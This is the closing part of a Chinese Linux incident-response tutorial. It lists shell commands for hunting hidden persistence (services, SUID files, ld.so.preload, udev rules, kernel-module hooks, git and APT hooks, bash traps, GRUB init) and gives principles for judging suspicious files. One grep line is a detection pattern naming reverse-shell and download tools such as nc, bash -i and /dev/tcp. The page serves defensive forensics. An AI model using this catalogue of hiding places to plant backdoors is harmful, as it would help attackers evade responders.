systemctl list-unit-files --state=enabled --type=service

# Shell 配置
grep -rn "curl\|wget\|nc \|bash -i\|/dev/tcp\|base64\|eval" /etc/profile.d/ /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null

# SUID + Capabilities
find / -perm -4000 -type f 2>/dev/null; getcap -r / 2>/dev/null

# LD_PRELOAD + 动态链接
cat /etc/ld.so.preload 2>/dev/null; ls /etc/ld.so.conf.d/

# udev
grep -rn "RUN+=" /etc/udev/rules.d/ 2>/dev/null

# motd
ls -la /etc/update-motd.d/ 2>/dev/null

# 内核模块
grep "^install" /etc/modprobe.d/*.conf /lib/modprobe.d/*.conf 2>/dev/null | grep -v "true\|false"

# rc.local
test -x /etc/rc.local && cat /etc/rc.local

# Docker
docker ps --format '{{.Names}}' 2>/dev/null | xargs -I{} docker inspect --format '{}: Privileged={{.HostConfig.Privileged}}' {} 2>/dev/null

# Git hooks
find /home /srv /opt -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null

# APT/YUM hooks
grep -rn "Invoke" /etc/apt/apt.conf.d/ 2>/dev/null

# Trap
grep -rn "trap.*DEBUG\|trap.*EXIT\|trap.*ERR" /etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null

# GRUB / initramfs
cat /proc/cmdline; grep "init=" /etc/default/grub 2>/dev/null

总结

本页补充了 12 种在传统排查 checklist 中容易被遗漏的持久化技术

关键认知:攻击者永远在寻找防御者的盲区,没有被检查的位置就是最好的藏身之处

核心原则

文件不属于任何包管理器 → 可疑

配置/脚本近期被修改且无对应变更记录 → 可疑

以 root 权限自动执行但功能描述含糊 → 可疑

建议:将本页的排查脚本纳入标准应急响应流程的第一步

完整系列导航:

基础排查:15-Crontab后门 ~ 27-反弹Shell技术与检测

冷门补充:本页

自动化工具:31-自动化排查脚本


上一章 目录 下一章
28-日志分析工具 Linux应急响应 29-取证工具